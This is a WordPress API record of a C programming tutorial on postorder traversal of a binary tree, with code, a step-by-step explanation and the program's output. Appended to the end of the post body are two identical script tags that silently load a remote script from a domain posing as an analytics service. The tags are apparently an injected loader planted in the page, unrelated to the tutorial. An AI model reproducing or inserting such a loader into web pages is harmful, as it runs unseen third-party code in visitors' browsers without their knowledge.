{"id":598,"date":"2024-10-19T13:50:59","date_gmt":"2024-10-19T08:20:59","guid":{"rendered":"https:\/\/codexplained.in\/?p=598"},"modified":"2025-11-24T15:34:57","modified_gmt":"2025-11-24T10:04:57","slug":"postorder-traversal-of-binary-tree","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=598","title":{"rendered":"Postorder Traversal of Binary Tree"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n\/\/ Define the structure for a node of the binary tree\nstruct Node {\n    int data;\n    struct Node* left;\n    struct Node* right;\n};\n\n\/\/ Function to create a new node\nstruct Node* createNode(int data) {\n    struct Node* newNode = (struct Node*)malloc(sizeof(struct Node));\n    newNode-&gt;data = data;\n    newNode-&gt;left = NULL;\n    newNode-&gt;right = NULL;\n    return newNode;\n}\n\n\/\/ Function for Postorder traversal\nvoid postorderTraversal(struct Node* root) {\n    if (root == NULL)\n        return;\n    \n    \/\/ First traverse the left subtree\n    postorderTraversal(root-&gt;left);\n    \/\/ Then traverse the right subtree\n    postorderTraversal(root-&gt;right);\n    \/\/ Finally, visit the root node\n    printf(&quot;%d &quot;, root-&gt;data);\n}\n\n\/\/ Main function\nint main() {\n    \/\/ Create the root node and other nodes\n    struct Node* root = createNode(1);\n    root-&gt;left = createNode(2);\n    root-&gt;right = createNode(3);\n    root-&gt;left-&gt;left = createNode(4);\n    root-&gt;left-&gt;right = createNode(5);\n\n    printf(&quot;Postorder traversal of the binary tree is: &quot;);\n    postorderTraversal(root);\n    printf(&quot;\\n&quot;);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Explanation of the Code<\/h2>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Structure Definition (<code>struct Node<\/code>)<\/strong>:\n<ul class=\"wp-block-list\">\n<li>A <code>Node<\/code> structure is defined to represent each node in the binary tree. Each node contains:\n<ul class=\"wp-block-list\">\n<li><code>data<\/code> (integer value stored in the node)<\/li>\n\n\n\n<li><code>left<\/code> (pointer to the left child)<\/li>\n\n\n\n<li><code>right<\/code> (pointer to the right child)<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong><code>createNode<\/code> Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>This function takes an integer <code>data<\/code> as input, allocates memory for a new node, sets its data, and initializes its left and right pointers to <code>NULL<\/code>. It returns a pointer to the new node.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong><code>postorderTraversal<\/code> Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>This function performs the postorder traversal of the binary tree:\n<ul class=\"wp-block-list\">\n<li>It first recursively calls itself on the <code>left<\/code> subtree.<\/li>\n\n\n\n<li>Then, it recursively calls itself on the <code>right<\/code> subtree.<\/li>\n\n\n\n<li>Finally, it prints the <code>data<\/code> of the <code>root<\/code> node.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>If the <code>root<\/code> is <code>NULL<\/code>, the function simply returns, which serves as the base condition for recursion.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong><code>main<\/code> Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Creates the binary tree by calling <code>createNode<\/code> for each node.<\/li>\n\n\n\n<li>The structure of the tree matches the example given above.<\/li>\n\n\n\n<li>Calls <code>postorderTraversal<\/code> on the <code>root<\/code> and prints the result.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">Output of the Program<\/h2>\n\n\n\n<p>When the above program is executed, the output will be:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Postorder traversal of the binary tree is: 4 5 2 3 1\n<\/code><\/pre>\n\n\n\n<p>This output matches the expected order of visiting nodes in postorder for the given binary tree:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Visit the leftmost leaf nodes (4).<\/li>\n\n\n\n<li>Visit the right leaf node of the left subtree (5).<\/li>\n\n\n\n<li>Visit the root of the left subtree (2).<\/li>\n\n\n\n<li>Visit the right subtree (3).<\/li>\n\n\n\n<li>Finally, visit the root node (1).<\/li>\n<\/ol>\n\n\n\n<p>Thus, the program accurately implements postorder traversal for a binary tree.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation of the Code Output of the Program When the above program is executed, the output will be: This output matches the expected order of visiting nodes in postorder for the given binary tree: Thus, the program accurately implements postorder traversal for a binary tree.<\/p>\n","protected":false},"author":40,"featured_media":850,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-598","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/598","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/40"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=598"}],"version-history":[{"count":5,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/598\/revisions"}],"predecessor-version":[{"id":1396,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/598\/revisions\/1396"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/850"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=598"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=598"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=598"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}